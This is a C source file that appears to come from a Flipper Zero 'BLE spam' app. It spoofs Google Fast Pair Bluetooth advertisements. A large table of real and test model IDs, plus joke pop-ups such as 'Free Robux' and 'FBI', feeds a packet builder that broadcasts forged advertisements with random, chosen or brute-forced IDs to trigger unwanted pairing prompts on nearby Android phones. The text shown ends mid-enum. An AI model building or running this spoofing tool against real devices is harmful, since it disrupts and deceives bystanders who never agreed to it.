fastpair.c 27 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832
  1. #include "fastpair.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
  5. // https://bluetoothdb.com
  6. static const struct {
  7. uint32_t value;
  8. const char* name;
  9. } models[] = {
  10. // Genuine non-production/forgotten (good job Google)
  11. {0x0001F0, "Bisto CSR8670 Dev Board"},
  12. {0x000047, "Arduino 101"},
  13. {0x470000, "Arduino 101 2"},
  14. {0x00000A, "Anti-Spoof Test"},
  15. {0x0A0000, "Anti-Spoof Test 2"},
  16. {0x00000B, "Google Gphones"},
  17. {0x0B0000, "Google Gphones 2"},
  18. {0x0C0000, "Google Gphones 3"},
  19. {0x00000D, "Test 00000D"},
  20. {0x000007, "Android Auto"},
  21. {0x070000, "Android Auto 2"},
  22. {0x000008, "Foocorp Foophones"},
  23. {0x080000, "Foocorp Foophones 2"},
  24. {0x000009, "Test Android TV"},
  25. {0x090000, "Test Android TV 2"},
  26. {0x000035, "Test 000035"},
  27. {0x350000, "Test 000035 2"},
  28. {0x000048, "Fast Pair Headphones"},
  29. {0x480000, "Fast Pair Headphones 2"},
  30. {0x000049, "Fast Pair Headphones 3"},
  31. {0x490000, "Fast Pair Headphones 4"},
  32. {0x001000, "LG HBS1110"},
  33. {0x00B727, "Smart Controller 1"},
  34. {0x01E5CE, "BLE-Phone"},
  35. {0x0200F0, "Goodyear"},
  36. {0x00F7D4, "Smart Setup"},
  37. {0xF00002, "Goodyear"},
  38. {0xF00400, "T10"},
  39. {0x1E89A7, "ATS2833_EVB"},
  40. // Phone setup
  41. {0x00000C, "Google Gphones Transfer"},
  42. {0x0577B1, "Galaxy S23 Ultra"},
  43. {0x05A9BC, "Galaxy S20+"},
  44. // Genuine devices
  45. {0xCD8256, "Bose NC 700"},
  46. {0x0000F0, "Bose QuietComfort 35 II"},
  47. {0xF00000, "Bose QuietComfort 35 II 2"},
  48. {0x821F66, "JBL Flip 6"},
  49. {0xF52494, "JBL Buds Pro"},
  50. {0x718FA4, "JBL Live 300TWS"},
  51. {0x0002F0, "JBL Everest 110GA"},
  52. {0x92BBBD, "Pixel Buds"},
  53. {0x000006, "Google Pixel buds"},
  54. {0x060000, "Google Pixel buds 2"},
  55. {0xD446A7, "Sony XM5"},
  56. {0x2D7A23, "Sony WF-1000XM4"},
  57. {0x0E30C3, "Razer Hammerhead TWS"},
  58. {0x72EF8D, "Razer Hammerhead TWS X"},
  59. {0x72FB00, "Soundcore Spirit Pro GVA"},
  60. {0x0003F0, "LG HBS-835S"},
  61. {0x002000, "AIAIAI TMA-2 (H60)"},
  62. {0x003000, "Libratone Q Adapt On-Ear"},
  63. {0x003001, "Libratone Q Adapt On-Ear 2"},
  64. {0x00A168, "boAt Airdopes 621"},
  65. {0x00AA48, "Jabra Elite 2"},
  66. {0x00AA91, "Beoplay E8 2.0"},
  67. {0x00C95C, "Sony WF-1000X"},
  68. {0x01EEB4, "WH-1000XM4"},
  69. {0x02AA91, "B&O Earset"},
  70. {0x01C95C, "Sony WF-1000X"},
  71. {0x02D815, "ATH-CK1TW"},
  72. {0x035764, "PLT V8200 Series"},
  73. {0x038CC7, "JBL TUNE760NC"},
  74. {0x02DD4F, "JBL TUNE770NC"},
  75. {0x02E2A9, "TCL MOVEAUDIO S200"},
  76. {0x035754, "Plantronics PLT_K2"},
  77. {0x02C95C, "Sony WH-1000XM2"},
  78. {0x038B91, "DENON AH-C830NCW"},
  79. {0x02F637, "JBL LIVE FLEX"},
  80. {0x02D886, "JBL REFLECT MINI NC"},
  81. {0xF00000, "Bose QuietComfort 35 II"},
  82. {0xF00001, "Bose QuietComfort 35 II"},
  83. {0xF00201, "JBL Everest 110GA"},
  84. {0xF00204, "JBL Everest 310GA"},
  85. {0xF00209, "JBL LIVE400BT"},
  86. {0xF00205, "JBL Everest 310GA"},
  87. {0xF00200, "JBL Everest 110GA"},
  88. {0xF00208, "JBL Everest 710GA"},
  89. {0xF00207, "JBL Everest 710GA"},
  90. {0xF00206, "JBL Everest 310GA"},
  91. {0xF0020A, "JBL LIVE400BT"},
  92. {0xF0020B, "JBL LIVE400BT"},
  93. {0xF0020C, "JBL LIVE400BT"},
  94. {0xF00203, "JBL Everest 310GA"},
  95. {0xF00202, "JBL Everest 110GA"},
  96. {0xF00213, "JBL LIVE650BTNC"},
  97. {0xF0020F, "JBL LIVE500BT"},
  98. {0xF0020E, "JBL LIVE500BT"},
  99. {0xF00214, "JBL LIVE650BTNC"},
  100. {0xF00212, "JBL LIVE500BT"},
  101. {0xF0020D, "JBL LIVE400BT"},
  102. {0xF00211, "JBL LIVE500BT"},
  103. {0xF00215, "JBL LIVE650BTNC"},
  104. {0xF00210, "JBL LIVE500BT"},
  105. {0xF00305, "LG HBS-1500"},
  106. {0xF00304, "LG HBS-1010"},
  107. {0xF00308, "LG HBS-1125"},
  108. {0xF00303, "LG HBS-930"},
  109. {0xF00306, "LG HBS-1700"},
  110. {0xF00300, "LG HBS-835S"},
  111. {0xF00309, "LG HBS-2000"},
  112. {0xF00302, "LG HBS-830"},
  113. {0xF00307, "LG HBS-1120"},
  114. {0xF00301, "LG HBS-835"},
  115. {0xF00E97, "JBL VIBE BEAM"},
  116. {0x04ACFC, "JBL WAVE BEAM"},
  117. {0x04AA91, "Beoplay H4"},
  118. {0x04AFB8, "JBL TUNE 720BT"},
  119. {0x05A963, "WONDERBOOM 3"},
  120. {0x05AA91, "B&O Beoplay E6"},
  121. {0x05C452, "JBL LIVE220BT"},
  122. {0x05C95C, "Sony WI-1000X"},
  123. {0x0602F0, "JBL Everest 310GA"},
  124. {0x0603F0, "LG HBS-1700"},
  125. {0x1E8B18, "SRS-XB43"},
  126. {0x1E955B, "WI-1000XM2"},
  127. {0x1EC95C, "Sony WF-SP700N"},
  128. {0x1ED9F9, "JBL WAVE FLEX"},
  129. {0x1EE890, "ATH-CKS30TW WH"},
  130. {0x1EEDF5, "Teufel REAL BLUE TWS 3"},
  131. {0x1F1101, "TAG Heuer Calibre E4 45mm"},
  132. {0x1F181A, "LinkBuds S"},
  133. {0x1F2E13, "Jabra Elite 2"},
  134. {0x1F4589, "Jabra Elite 2"},
  135. {0x1F4627, "SRS-XG300"},
  136. {0x1F5865, "boAt Airdopes 441"},
  137. {0x1FBB50, "WF-C700N"},
  138. {0x1FC95C, "Sony WF-SP700N"},
  139. {0x1FE765, "TONE-TF7Q"},
  140. {0x1FF8FA, "JBL REFLECT MINI NC"},
  141. {0x201C7C, "SUMMIT"},
  142. {0x202B3D, "Amazfit PowerBuds"},
  143. {0x20330C, "SRS-XB33"},
  144. {0x003B41, "M&D MW65"},
  145. {0x003D8A, "Cleer FLOW II"},
  146. {0x005BC3, "Panasonic RP-HD610N"},
  147. {0x008F7D, "soundcore Glow Mini"},
  148. {0x00FA72, "Pioneer SE-MS9BN"},
  149. {0x0100F0, "Bose QuietComfort 35 II"},
  150. {0x011242, "Nirvana Ion"},
  151. {0x013D8A, "Cleer EDGE Voice"},
  152. {0x01AA91, "Beoplay H9 3rd Generation"},
  153. {0x038F16, "Beats Studio Buds"},
  154. {0x039F8F, "Michael Kors Darci 5e"},
  155. {0x03AA91, "B&O Beoplay H8i"},
  156. {0x03B716, "YY2963"},
  157. {0x03C95C, "Sony WH-1000XM2"},
  158. {0x03C99C, "MOTO BUDS 135"},
  159. {0x03F5D4, "Writing Account Key"},
  160. {0x045754, "Plantronics PLT_K2"},
  161. {0x045764, "PLT V8200 Series"},
  162. {0x04C95C, "Sony WI-1000X"},
  163. {0x050F0C, "Major III Voice"},
  164. {0x052CC7, "MINOR III"},
  165. {0x057802, "TicWatch Pro 5"},
  166. {0x0582FD, "Pixel Buds"},
  167. {0x058D08, "WH-1000XM4"},
  168. {0x06AE20, "Galaxy S21 5G"},
  169. {0x06C197, "OPPO Enco Air3 Pro"},
  170. {0x06C95C, "Sony WH-1000XM2"},
  171. {0x06D8FC, "soundcore Liberty 4 NC"},
  172. {0x0744B6, "Technics EAH-AZ60M2"},
  173. {0x07A41C, "WF-C700N"},
  174. {0x07C95C, "Sony WH-1000XM2"},
  175. {0x07F426, "Nest Hub Max"},
  176. {0x0102F0, "JBL Everest 110GA - Gun Metal"},
  177. {0x0202F0, "JBL Everest 110GA - Silver"},
  178. {0x0302F0, "JBL Everest 310GA - Brown"},
  179. {0x0402F0, "JBL Everest 310GA - Gun Metal"},
  180. {0x0502F0, "JBL Everest 310GA - Silver"},
  181. {0x0702F0, "JBL Everest 710GA - Gun Metal"},
  182. {0x0802F0, "JBL Everest 710GA - Silver"},
  183. {0x054B2D, "JBL TUNE125TWS"},
  184. {0x0660D7, "JBL LIVE770NC"},
  185. {0x0103F0, "LG HBS-835"},
  186. {0x0203F0, "LG HBS-830"},
  187. {0x0303F0, "LG HBS-930"},
  188. {0x0403F0, "LG HBS-1010"},
  189. {0x0503F0, "LG HBS-1500"},
  190. {0x0703F0, "LG HBS-1120"},
  191. {0x0803F0, "LG HBS-1125"},
  192. {0x0903F0, "LG HBS-2000"},
  193. {0x0102F0, "JBL Everest 110GA"},
  194. {0x0202F0, "JBL Everest 110GA"},
  195. {0x0302F0, "JBL Everest 310GA"},
  196. {0x0402F0, "JBL Everest 310GA"},
  197. {0x0502F0, "JBL Everest 310GA"},
  198. {0x060000, "Google Pixel Buds"},
  199. {0x070000, "Android Auto"},
  200. {0x0702F0, "JBL Everest 710GA"},
  201. {0x071C74, "JBL Flip 6"},
  202. {0x080000, "Foocorp Foophones"},
  203. {0x0802F0, "JBL Everest 710GA"},
  204. {0x090000, "Test Android TV"},
  205. {0x0A0000, "Test 00000a - Anti-Spoofing"},
  206. {0x0B0000, "Google Gphones"},
  207. {0x0C0000, "Google Gphones"},
  208. {0x0DC6BF, "My Awesome Device II"},
  209. {0x0DC95C, "Sony WH-1000XM3"},
  210. {0x0DEC2B, "Emporio Armani EA Connected"},
  211. {0x0E138D, "WF-SP800N"},
  212. {0x0EC95C, "Sony WI-C600N"},
  213. {0x0ECE95, "Philips TAT3508"},
  214. {0x0F0993, "COUMI TWS-834A"},
  215. {0x0F1B8D, "JBL VIBE BEAM"},
  216. {0x0F232A, "JBL TUNE BUDS"},
  217. {0x0F2D16, "WH-CH520"},
  218. {0x20A19B, "WF-SP800N"},
  219. {0x20C95C, "Sony WF-SP700N"},
  220. {0x20CC2C, "SRS-XB43"},
  221. {0x213C8C, "DIZO Wireless Power"},
  222. {0x21521D, "boAt Rockerz 355 (Green)"},
  223. {0x21A04E, "oraimo FreePods Pro"},
  224. {0x2D7A23, "WF-1000XM4"},
  225. {0x350000, "Test 000035"},
  226. {0x470000, "Arduino 101"},
  227. {0x480000, "Fast Pair Headphones"},
  228. {0x490000, "Fast Pair Headphones"},
  229. {0x5BA9B5, "WF-SP800N"},
  230. {0x5BACD6, "Bose QC Ultra Earbuds"},
  231. {0x5BD6C9, "JBL TUNE225TWS"},
  232. {0x5BE3D4, "JBL Flip 6"},
  233. {0x5C0206, "UA | JBL TWS STREAK"},
  234. {0x5C0C84, "JBL TUNE225TWS"},
  235. {0x5C4833, "WH-CH720N"},
  236. {0x5C4A7E, "LG HBS-XL7"},
  237. {0x5C55E7, "TCL MOVEAUDIO S200"},
  238. {0x5C7CDC, "WH-1000XM5"},
  239. {0x5C8AA5, "JBL LIVE220BT"},
  240. {0x5CC900, "Sony WF-1000X"},
  241. {0x5CC901, "Sony WF-1000X"},
  242. {0x5CC902, "Sony WH-1000XM2"},
  243. {0x5CC903, "Sony WH-1000XM2"},
  244. {0x5CC904, "Sony WI-1000X"},
  245. {0x5CC905, "Sony WI-1000X"},
  246. {0x5CC906, "Sony WH-1000XM2"},
  247. {0x5CC907, "Sony WH-1000XM2"},
  248. {0x5CC908, "Sony WI-1000X"},
  249. {0x5CC909, "Sony WI-1000X"},
  250. {0x5CC90A, "Sony WH-1000XM3"},
  251. {0x5CC90B, "Sony WH-1000XM3"},
  252. {0x5CC90C, "Sony WH-1000XM3"},
  253. {0x5CC90D, "Sony WH-1000XM3"},
  254. {0x5CC90E, "Sony WI-C600N"},
  255. {0x5CC90F, "Sony WI-C600N"},
  256. {0x5CC910, "Sony WI-C600N"},
  257. {0x5CC911, "Sony WI-C600N"},
  258. {0x5CC912, "Sony WI-C600N"},
  259. {0x5CC913, "Sony WI-C600N"},
  260. {0x5CC914, "Sony WI-SP600N"},
  261. {0x5CC915, "Sony WI-SP600N"},
  262. {0x5CC916, "Sony WI-SP600N"},
  263. {0x5CC917, "Sony WI-SP600N"},
  264. {0x5CC918, "Sony WI-SP600N"},
  265. {0x5CC919, "Sony WI-SP600N"},
  266. {0x5CC91A, "Sony WI-SP600N"},
  267. {0x5CC91B, "Sony WI-SP600N"},
  268. {0x5CC91C, "Sony WI-SP600N"},
  269. {0x5CC91D, "Sony WI-SP600N"},
  270. {0x5CC91E, "Sony WF-SP700N"},
  271. {0x5CC91F, "Sony WF-SP700N"},
  272. {0x5CC920, "Sony WF-SP700N"},
  273. {0x5CC921, "Sony WF-SP700N"},
  274. {0x5CC922, "Sony WF-SP700N"},
  275. {0x5CC923, "Sony WF-SP700N"},
  276. {0x5CC924, "Sony WF-SP700N"},
  277. {0x5CC925, "Sony WF-SP700N"},
  278. {0x5CC926, "Sony WF-SP700N"},
  279. {0x5CC927, "Sony WF-SP700N"},
  280. {0x5CC928, "Sony WH-H900N"},
  281. {0x5CC929, "Sony WH-H900N"},
  282. {0x5CC92A, "Sony WH-H900N"},
  283. {0x5CC92B, "Sony WH-H900N"},
  284. {0x5CC92C, "Sony WH-H900N"},
  285. {0x5CC92D, "Sony WH-H900N"},
  286. {0x5CC92E, "Sony WH-H900N"},
  287. {0x5CC92F, "Sony WH-H900N"},
  288. {0x5CC930, "Sony WH-H900N"},
  289. {0x5CC931, "Sony WH-H900N"},
  290. {0x5CC932, "Sony WH-CH700N"},
  291. {0x5CC933, "Sony WH-CH700N"},
  292. {0x5CC934, "Sony WH-CH700N"},
  293. {0x5CC935, "Sony WH-CH700N"},
  294. {0x5CC936, "Sony WH-CH700N"},
  295. {0x5CC937, "Sony WH-CH700N"},
  296. {0x5CC938, "Sony WF-1000XM3"},
  297. {0x5CC939, "Sony WF-1000XM3"},
  298. {0x5CC93A, "Sony WF-1000XM3"},
  299. {0x5CC93B, "Sony WF-1000XM3"},
  300. {0x5CC93C, "Sony WH-XB700"},
  301. {0x5CC93D, "Sony WH-XB700"},
  302. {0x5CC93E, "Sony WH-XB700"},
  303. {0x5CC93F, "Sony WH-XB700"},
  304. {0x5CC940, "Sony WH-XB900N"},
  305. {0x5CC941, "Sony WH-XB900N"},
  306. {0x5CC942, "Sony WH-XB900N"},
  307. {0x5CC943, "Sony WH-XB900N"},
  308. {0x5CC944, "Sony WH-XB900N"},
  309. {0x5CC945, "Sony WH-XB900N"},
  310. {0x5CEE3C, "Fitbit Charge 4"},
  311. {0x6AD226, "TicWatch Pro 3"},
  312. {0x6B1C64, "Pixel Buds"},
  313. {0x6B8C65, "oraimo FreePods 4"},
  314. {0x6B9304, "Nokia SB-101"},
  315. {0x6BA5C3, "Jabra Elite 4"},
  316. {0x6C42C0, "TWS05"},
  317. {0x6C4DE5, "JBL LIVE PRO 2 TWS"},
  318. {0x718FA4, "JBL LIVE300TWS"},
  319. {0x89BAD5, "Galaxy A23 5G"},
  320. {0x8A31B7, "Bose QC Ultra Headphones"},
  321. {0x8A3D00, "Cleer FLOW Ⅱ"},
  322. {0x8A3D01, "Cleer EDGE Voice"},
  323. {0x8A8F23, "WF-1000XM5"},
  324. {0x8AADAE, "JLab GO Work 2"},
  325. {0x8B0A91, "Jabra Elite 5"},
  326. {0x8B5A7B, "TicWatch Pro 3 GPS"},
  327. {0x8B66AB, "Pixel Buds A-Series"},
  328. {0x8BB0A0, "Nokia Solo Bud+"},
  329. {0x8BF79A, "Oladance Whisper E1"},
  330. {0x8C07D2, "Jabra Elite 4 Active"},
  331. {0x8C1706, "YY7861E"},
  332. {0x8C4236, "GLIDiC mameBuds"},
  333. {0x8C6B6A, "realme Buds Air 3S"},
  334. {0x8CAD81, "KENWOOD WS-A1"},
  335. {0x8CB05C, "JBL LIVE PRO+ TWS"},
  336. {0x8CD10F, "realme Buds Air Pro"},
  337. {0x8D13B9, "BLE-TWS"},
  338. {0x8D16EA, "Galaxy M14 5G"},
  339. {0x8D5B67, "Pixel 90c"},
  340. {0x8E14D7, "LG-TONE-TFP8"},
  341. {0x8E1996, "Galaxy A24 5g"},
  342. {0x8E4666, "Oladance Wearable Stereo"},
  343. {0x8E5550, "boAt Airdopes 511v2"},
  344. {0x9101F0, "Jabra Elite 2"},
  345. {0x9128CB, "TCL MOVEAUDIO Neo"},
  346. {0x913B0C, "YH-E700B"},
  347. {0x915CFA, "Galaxy A14"},
  348. {0x9171BE, "Jabra Evolve2 65 Flex"},
  349. {0x917E46, "LinkBuds"},
  350. {0x91AA00, "Beoplay E8 2.0"},
  351. {0x91AA01, "Beoplay H9 3rd Generation"},
  352. {0x91AA02, "B&O Earset"},
  353. {0x91AA03, "B&O Beoplay H8i"},
  354. {0x91AA04, "Beoplay H4"},
  355. {0x91AA05, "B&O Beoplay E6"},
  356. {0x91BD38, "LG HBS-FL7"},
  357. {0x91C813, "JBL TUNE770NC"},
  358. {0x91DABC, "SRS-XB33"},
  359. {0x92255E, "LG-TONE-FP6"},
  360. {0x989D0A, "Set up your new Pixel 2"},
  361. {0x9939BC, "ATH-SQ1TW"},
  362. {0x994374, "EDIFIER W320TN"},
  363. {0x997B4A, "UA | JBL True Wireless Flash X"},
  364. {0x99C87B, "WH-H810 (h.ear)"},
  365. {0x99D7EA, "oraimo OpenCirclet"},
  366. {0x99F098, "Galaxy S22 Ultra"},
  367. {0x9A408A, "MOTO BUDS 065"},
  368. {0x9A9BDD, "WH-XB910N"},
  369. {0x9ADB11, "Pixel Buds Pro"},
  370. {0x9AEEA4, "LG HBS-FN4"},
  371. {0x9B7339, "AKG N9 Hybrid"},
  372. {0x9B735A, "JBL RFL FLOW PRO"},
  373. {0x9B9872, "Hyundai"},
  374. {0x9BC64D, "JBL TUNE225TWS"},
  375. {0x9BE931, "WI-C100"},
  376. {0x9C0AF7, "JBL VIBE BUDS"},
  377. {0x9C3997, "ATH-M50xBT2"},
  378. {0x9C4058, "JBL WAVE FLEX"},
  379. {0x9C6BC0, "LinkBuds S"},
  380. {0x9C888B, "WH-H910N (h.ear)"},
  381. {0x9C98DB, "JBL TUNE225TWS"},
  382. {0x9CA277, "YY2963"},
  383. {0x9CB5F3, "WH-1000XM5"},
  384. {0x9CB881, "soundcore Motion 300"},
  385. {0x9CD0F3, "LG HBS-TFN7"},
  386. {0x9CE3C7, "EDIFIER NeoBuds Pro 2"},
  387. {0x9CEFD1, "SRS-XG500"},
  388. {0x9CF08F, "JLab Epic Air ANC"},
  389. {0x9D00A6, "Urbanears Juno"},
  390. {0x9D7D42, "Galaxy S20"},
  391. {0x9DB896, "Your BMW"},
  392. {0xA7E52B, "Bose NC 700 Headphones"},
  393. {0xA7EF76, "JBL CLUB PRO+ TWS"},
  394. {0xA8001A, "JBL CLUB ONE"},
  395. {0xA83C10, "adidas Z.N.E. 01"},
  396. {0xA8658F, "ROCKSTER GO"},
  397. {0xA8845A, "oraimo FreePods 4"},
  398. {0xA88B69, "WF-SP800N"},
  399. {0xA8A00E, "Nokia CB-201"},
  400. {0xA8A72A, "JBL LIVE670NC"},
  401. {0xA8C636, "JBL TUNE660NC"},
  402. {0xA8CAAD, "Galaxy F04"},
  403. {0xA8E353, "JBL TUNE BEAM"},
  404. {0xA8F96D, "JBL ENDURANCE RUN 2 WIRELESS"},
  405. {0xA90358, "JBL LIVE220BT"},
  406. {0xA92498, "JBL WAVE BUDS"},
  407. {0xA9394A, "JBL TUNE230NC TWS"},
  408. {0xC6936A, "JBL LIVE PRO+ TWS"},
  409. {0xC69AFD, "WF-H800 (h.ear)"},
  410. {0xC6ABEA, "UA | JBL True Wireless Flash X"},
  411. {0xC6EC5F, "SRS-XE300"},
  412. {0xC7736C, "Philips PH805"},
  413. {0xC79B91, "Jabra Evolve2 75"},
  414. {0xC7A267, "Fake Test Mouse"},
  415. {0xC7D620, "JBL Pulse 5"},
  416. {0xC7FBCC, "JBL VIBE FLEX"},
  417. {0xC8162A, "LinkBuds S"},
  418. {0xC85D7A, "JBL ENDURANCE PEAK II"},
  419. {0xC8777E, "Jaybird Vista 2"},
  420. {0xC878AA, "SRS-XV800"},
  421. {0xC8C641, "Redmi Buds 4 Lite"},
  422. {0xC8D335, "WF-1000XM4"},
  423. {0xC8E228, "Pixel Buds Pro"},
  424. {0xC9186B, "WF-1000XM4"},
  425. {0xC9836A, "JBL Xtreme 4"},
  426. {0xCA7030, "ATH-TWX7"},
  427. {0xCAB6B8, "ATH-M20xBT"},
  428. {0xCAF511, "Jaybird Vista 2"},
  429. {0xCB093B, "Urbanears Juno"},
  430. {0xCB529D, "soundcore Glow"},
  431. {0xCC438E, "WH-1000XM4"},
  432. {0xCC5F29, "JBL TUNE660NC"},
  433. {0xCC754F, "YY2963"},
  434. {0xCC93A5, "Sync"},
  435. {0xCCBB7E, "MIDDLETON"},
  436. {0xCD8256, "Bose NC 700 Headphones"},
  437. {0xD446A7, "WH-1000XM5"},
  438. {0xD5A59E, "Jabra Elite Speaker"},
  439. {0xD5B5F7, "MOTO BUDS 600 ANC"},
  440. {0xD5C6CE, "realme TechLife Buds T100"},
  441. {0xD654CD, "JBL Xtreme 4"},
  442. {0xD65F4E, "Philips Fidelio T2"},
  443. {0xD69B2B, "TONE-T80S"},
  444. {0xD6C195, "LG HBS-SL5"},
  445. {0xD6E870, "Beoplay EX"},
  446. {0xD6EE84, "Rockerz 255 Max"},
  447. {0xD7102F, "ATH-SQ1TW SVN"},
  448. {0xD7E3EB, "Cleer HALO"},
  449. {0xD8058C, "MOTIF II A.N.C."},
  450. {0xD820EA, "WH-XB910N"},
  451. {0xD87A3E, "Pixel Buds Pro"},
  452. {0xD8F3BA, "WH-1000XM5"},
  453. {0xD8F4E8, "realme Buds T100"},
  454. {0xD90617, "Redmi Buds 4 Active"},
  455. {0xD933A7, "JBL ENDURANCE PEAK 3"},
  456. {0xD9414F, "JBL SOUNDGEAR SENSE"},
  457. {0xD97EBA, "JBL TUNE125TWS"},
  458. {0xD9964B, "JBL TUNE670NC"},
  459. {0xDA0F83, "SPACE"},
  460. {0xDA4577, "Jabra Elite 4 Active"},
  461. {0xDA5200, "blackbox TRIP II"},
  462. {0xDAD3A6, "Jabra Elite 10"},
  463. {0xDADE43, "Chromebox"},
  464. {0xDAE096, "adidas RPT-02 SOL"},
  465. {0xDB8AC7, "LG TONE-FREE"},
  466. {0xDBE5B1, "WF-1000XM4"},
  467. {0xDC5249, "WH-H810 (h.ear)"},
  468. {0xDCF33C, "JBL REFLECT MINI NC"},
  469. {0xDD4EC0, "OPPO Enco Air3 Pro"},
  470. {0xDE215D, "WF-C500"},
  471. {0xDE577F, "Teufel AIRY TWS 2"},
  472. {0xDEC04C, "SUMMIT"},
  473. {0xDEDD6F, "soundcore Space One"},
  474. {0xDEE8C0, "Ear (2)"},
  475. {0xDEEA86, "Xiaomi Buds 4 Pro"},
  476. {0xDEF234, "WH-H810 (h.ear)"},
  477. {0xDF01E3, "Sync"},
  478. {0xDF271C, "Big Bang e Gen 3"},
  479. {0xDF42DE, "TAG Heuer Calibre E4 42mm"},
  480. {0xDF4B02, "SRS-XB13"},
  481. {0xDF9BA4, "Bose NC 700 Headphones"},
  482. {0xDFD433, "JBL REFLECT AERO"},
  483. {0xE020C1, "soundcore Motion 300"},
  484. {0xE06116, "LinkBuds S"},
  485. {0xE07634, "OnePlus Buds Z"},
  486. {0xE09172, "JBL TUNE BEAM"},
  487. {0xE4E457, "Galaxy S20 5G"},
  488. {0xE5440B, "TAG Heuer Calibre E4 45mm"},
  489. {0xE57363, "Oladance Wearable Stereo"},
  490. {0xE57B57, "Super Device"},
  491. {0xE5B4B0, "WF-1000XM5"},
  492. {0xE5B91B, "SRS-XB33"},
  493. {0xE5E2E9, "Zone Wireless 2"},
  494. {0xE64613, "JBL WAVE BEAM"},
  495. {0xE64CC6, "Set up your new Pixel 3 XL"},
  496. {0xE69877, "JBL REFLECT AERO"},
  497. {0xE6E37E, "realme Buds Air 5 Pro"},
  498. {0xE6E771, "ATH-CKS50TW"},
  499. {0xE6E8B8, "POCO Pods"},
  500. {0xE750CE, "Jabra Evolve2 75"},
  501. {0xF52494, "JBL LIVE PRO+ TWS"},
  502. {0x000006, "Google Pixel Buds"},
  503. {0x00000A, "Test 00000a - Anti-Spoofing"},
  504. {0x00000C, "Google Gphones"},
  505. {0x000049, "Fast Pair Headphones"},
  506. {0x003001, "Libratone Q Adapt On-Ear"},
  507. {0x003D8A, "Cleer FLOW Ⅱ"},
  508. {0x0052DA, "blackbox TRIP II"},
  509. {0x109201, "Beoplay H9 3rd Generation"},
  510. {0x124366, "BLE-Phone"},
  511. {0x126644, "WH-1000XM4"},
  512. {0x284500, "Plantronics PLT_K2"},
  513. {0x532011, "Big Bang e Gen 3"},
  514. {0x549547, "JBL WAVE BUDS"},
  515. {0x567679, "Pixel Buds Pro"},
  516. {0x575836, "Sony WI-1000X"},
  517. {0x596007, "MOTIF II A.N.C."},
  518. {0x612907, "Redmi Buds 4 Lite"},
  519. {0x614199, "Oraimo FreePods Pro"},
  520. {0x625740, "LG-TONE-NP3"},
  521. {0x641372, "Sony WI-1000X"},
  522. {0x641630, "boAt Airdopes 452"},
  523. {0x664454, "JBL TUNE 520BT"},
  524. {0x706908, "Sony WH-1000XM3"},
  525. {0x837980, "Sony WH-1000XM3"},
  526. {0x855347, "NIRVANA NEBULA"},
  527. {0x861698, "LinkBuds"},
  528. {0xCB2FE7, "soundcore Motion X500"},
  529. // Custom debug popups
  530. {0x73A6F2, "Momentum Firmware"},
  531. {0xD99CA1, "Flipper Zero"},
  532. {0x77FF67, "Free Robux"},
  533. {0xAA187F, "Free VBucks"},
  534. {0xDCE9EA, "Rickroll"},
  535. {0x87B25F, "Animated Rickroll"},
  536. {0xF38C02, "Boykisser"},
  537. {0x1448C9, "BLM"},
  538. {0x13B39D, "Talking Sasquach"},
  539. {0xAA1FE1, "ClownMaster"},
  540. {0x7C6CDB, "Obama"},
  541. {0x005EF9, "Ryanair"},
  542. {0xE2106F, "FBI"},
  543. {0xB37A62, "Tesla"},
  544. };
  545. static const uint16_t models_count = COUNT_OF(models);
  546. static const char* get_name(const Payload* payload) {
  547. UNUSED(payload);
  548. return "FastPair";
  549. }
  550. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  551. FastpairCfg* cfg = payload ? &payload->cfg.fastpair : NULL;
  552. uint32_t model;
  553. switch(cfg ? payload->mode : PayloadModeRandom) {
  554. case PayloadModeRandom:
  555. default:
  556. model = models[rand() % models_count].value;
  557. break;
  558. case PayloadModeValue:
  559. model = cfg->model;
  560. break;
  561. case PayloadModeBruteforce:
  562. model = cfg->model = payload->bruteforce.value;
  563. break;
  564. }
  565. uint8_t size = 14;
  566. uint8_t* packet = malloc(size);
  567. uint8_t i = 0;
  568. packet[i++] = 3; // Size
  569. packet[i++] = 0x03; // AD Type (Service UUID List)
  570. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  571. packet[i++] = 0xFE; // ...
  572. packet[i++] = 6; // Size
  573. packet[i++] = 0x16; // AD Type (Service Data)
  574. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  575. packet[i++] = 0xFE; // ...
  576. packet[i++] = (model >> 0x10) & 0xFF; // Device Model
  577. packet[i++] = (model >> 0x08) & 0xFF; // ...
  578. packet[i++] = (model >> 0x00) & 0xFF; // ...
  579. packet[i++] = 2; // Size
  580. packet[i++] = 0x0A; // AD Type (Tx Power Level)
  581. packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
  582. *_size = size;
  583. *_packet = packet;
  584. }
  585. enum {
  586. _ConfigExtraStart = ConfigExtraStart,
  587. ConfigModel,
  588. ConfigInfoRequire,
  589. ConfigInfoPatched,
  590. ConfigCOUNT,
  591. };
